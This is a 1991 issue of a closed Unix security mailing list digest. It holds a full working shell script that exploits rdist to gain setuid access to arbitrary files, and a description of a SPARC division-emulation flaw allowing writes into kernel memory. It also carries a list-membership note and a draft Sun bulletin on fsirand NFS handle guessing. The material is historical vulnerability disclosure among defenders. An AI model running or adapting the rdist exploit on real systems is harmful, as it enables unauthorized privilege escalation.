Date: Tue Nov 12 13:52:14 PST 1991 Subject: Core Security Digest V1 #22 Core Security Digest Volume 1 Issue 22 subject(s): rdist security hole utilization shell script Re: Core Security Digest V1 #21 list membership fsirand, headsup for new Sun Security Bulletin (#00112) The unix core security mailing list is by invitation only and contains sensitive material which SHOULD NOT BE REVEALED to non-members. DO NOT PUT ANY LIST CONTENTS IN LOCATIONS ACCESSABLE TO NON-MEMBERS. If you must keep copies on-line, please encrypt them at the very least. PLEASE POST TO: core@uninet.cpd.com PLEASE SEND EMERGENCY ALERTS TO: core-emergency@uninet.cpd.com PLEASE SEND REQUESTS TO: core-request@uninet.cpd.com ------------------------------------------------------------------------ Date: Wed, 2 Oct 1991 20:00:57 -0700 From: tsutomu@no-sense.LANL.GOV Subject: rdist security hole utilization shell script #! /bin/sh # GIMME - "gimme' a file" # Demonstrate rdist's ability to give me permission to access anything. # # gimme [ []] # is the target file. # is the octal mode to which the file access permission # should be set. Note that this may not be effective unless # either the SUID (4000) or SGID (2000) bits are also requested. # is the target directory for rdist to use if a hard # link is desired. Note that the user must have permission # to create this directory, it must be on the same filesystem # as the target file, and the target file must not be a # directory. This option is necessary to change the ownership # of the target if chown() of a symbolic link modifies the # link itself, and not the file it refers to. # # 1991.9.14 - Tsutomu Shimomura, Los Alamos National Laboratory # tsutomu@no-sense.LANL.GOV dirname=gimme$$ deftemp=/tmp defperm=6777 if [ $1x = x ]; then echo "Usage: $0 [ []]" >&2 exit 1 fi if [ $2x != x ]; then perm=$2 else perm=$defperm fi if [ $3x != x ]; then link="ln" temp=$3/$dirname target=$1 else link="ln -s" temp=$deftemp/$dirname case $1 in /*) target=$1 ;; *) target=`pwd`/$1 ;; esac fi trap "rm -fr $temp; exit 1" 1 2 15 umask 66 mkdir $temp; if [ $? != 0 ]; then exit 1 fi set `whoami` $LOGNAME user=$1 set daemon `groups` while [ $# != 1 ]; do shift done group=$1 ( echo "t$temp/something" echo "R0 $perm 1 0 $user $group " while [ ! -f $temp/rdist* ]; do sleep 1 done set $temp/rdist* rm -f $1 if $link $target $1 >&2; then echo "" | dd bs=3 conv=sync 2>/dev/null echo "" echo 0 > $temp/status else echo 1 > $temp/status fi exit ) | rdist -Server status=`cat $temp/status` rm -fr $temp exit $status ------------------------------------------------------------------------ Date: Sun, 06 Oct 91 12:55:16 EST From: Gene Spafford Subject: Re: Core Security Digest V1 #21 Regarding the integer division problem. It's not that difficult to comprehend. Just set up a divide instruction, and set it so the remainder is to be stored in any arbitrary address you want (you have to do this in assembler, although the % operator in C may let you do this...I dunno). Then divide appropriately chosen numbers. The instruction traps, the divide is emulated, the results are stored *in privileged mode* and control is passed back to the user. No problems! However, the address specified for the remainder may not be in the user's memory space. Appropriate choice of values to be stored and locations to be stored into result in all sorts of fun results. I think this problem can be traced back (partially) to RISC architectures....all CISC machines tend to do this kind of thing in the hardware and permissions are checked accordingly. On a RISC that has so little in hardware, it has to be emulated. The key problem is that the emulation code should run *in the mode of the caller* and not in kernel mode. The fix inserts a permissions check instead of setting user mode. I suspect this is because a change to caller mode would make the return from trap much more complicated, and would undoubtedly be slower -- marketing would never approve. Two questions arise: 1) How many other emulated instructions have similar faulty logic in them, on Suns and other machines? (MIPS and i860 come to mind as potential problem cpus) 2) How many other lurking problems are there because the vendor paid more concern for speed in the emulation rather than security/safety? PS. This is not to imply any particular motiviation on the part of Sun, nor does it imply that Sun is any worse (or better) than any other vendor. ------------------------------------------------------------------------ Date: Mon, 7 Oct 91 14:07:38 PDT From: neil (Neil Gorsuch) Subject: list membership [ There are currently 37 people on the core list. I will probably hold it to under 50 no matter what, so now is a good time to recomend to me to have someone added if you have anyone in mind 8-). List membership is decided by me, and is not presented out to the world in any way (except in the From: portions of postings, and in some cases, they are modified by me at the poster's request). For someone to be added to the list, they have to be one of the following: 1. a representative of a major computer hardware/operating system vendor 2. a few special cases such as cert and some government installations 3. people that I know personally 4. someone personally recomended by someone I know personally Except for groups 1 and 2, and some other special cases, anyone on the list will have to contribute on some kind of regular basis, or they will be bumped off the list. Please notice that managers of major networks/systems are probably NOT eligable for membership. Although they would probably benefit from list membership, there are just too many deserving sites that would have to be included. On the other hand, if they are someone who will actually be contributing information of new security holes, they should certainly be part of the core list. There are a lot of major systems/networks out there that really should be on the list, but if I started adding them all, the list would almost certainly be compromised. There are just too many systems being broken into, and too many mail spools being scanned/grepped for me to start adding everyone that really should be on the list. I talked to a "cracker" not too many months ago, and he said that although the cracker groups knew of the core list, and even knew it's name, they still haven't gotten any copies of it. And I want to keep it that way. 8-) neil ] ------------------------------------------------------------------------ Date: Mon, 11 Nov 91 16:19:49 PST From: Kenneth.Pon@Corp.Sun.COM (Kenneth Pon) Subject: fsirand, headsup for new Sun Security Bulletin (#00112) Good day. This is a draft bulletin that will go out to the Sun Microsystems Security Alert alias in the near future. Please send any comments to me at Kenneth.Pon@Corp.Sun.COM. Regards, SUN MICROSYSTEMS SECURITY BULLETIN: #00112 This information is only to be used for the purpose of alerting customers to problems. Any other use or re-broadcast of this information without the express written consent of Sun Microsystems shall be prohibited. Sun expressly disclaims all liability for any misuse of this information by any third party. All patches listed are available through your local Sun answer centers worldwide as well as through anonymous ftp to ftp.uu.net. In the US on ~ftp/sun-dist directory and in Europe on mcsun.eu.net on ~ftp/sun/fixes directory. Please refer to the BugID and PatchID when requesting patches from Sun answer centers. Please refer to the information below for additional information. Sun Bug ID : 1063470 Synopsis : SunOS 4.1.1 fsirand (random number generator) program could potentially allow the guessing of NFS file handles. The patched version of fsirand has been enhanced to provide greater randomness to the random number generator's seed. Sun Patch ID: 100424-01 Checksum of compressed tarfile 100424-01.tar.Z on uunet.uu.net = 63070 50 This patch should only be applied in conjunction with the latest version of the NFS jumbo patch, currently 100173-07 for SunOS 4.1.1. The NFS jumbo patch must be applied before the fsirand patch. NFS jumbo and fsirand patches are being developed and tested for SunOS 4.0.3 and 4.1. An announcement will be made when these patches are available. In order to maintain a level of minimum security requirements on your Sun gateway systems, please note the suggestions that follow. Users may also wish to follow the advice given below for their other file servers that may be connected to potentially untrusted machines over a network. Sun recommends that you upgrade your version of SunOS to the most recent available (currently SunOS 4.1.1), since many improvements to the security of your system have been integrated into the most recent base operating system. In addition, you should install all security related patches applicable to your current version of SunOS. Sun suggests that you apply this patch and the NFS jumbo patch to your server if it is a gateway machine or if it exports critical file systems and is accessible across a potentially untrusted network (e.g. the Internet). Please refer to the README of patch 100424-01 for additional details. The fsirand fixes have been incorporated into SYS_V Rel 4. After applying this patch, /usr/etc/fsirand (see man page fsirand(8)) should be run on all potentially exportable partitions. Follow this with a system reboot to complete the installation of random inode generation numbers. Gateway machines should also apply Patch-ID# 100296-02, which fixes the mountd problem that allows an unprivileged client to take advantage of character strings in /etc/hosts and /etc/netgroup that are equal to or greater than 256. It is also strongly advised that /etc/exports (exports(5)) files on servers be examined and modified, if necessary, to permit only the level of file sharing that is necessary. The exports(5) file allows an administrator to limit the access (and type of access) of exported directories to specific client machines. For example, a directory can be exported read-only and root access can be granted to a specified set of clients only. Sun would like to thank Hans van Staveren, Leendert van Doorn, and Gene Spafford for bringing this problem to our attention. ------------------------------------------------------------------------ End of Core Security Digest Volume 1 Issue 22 **********************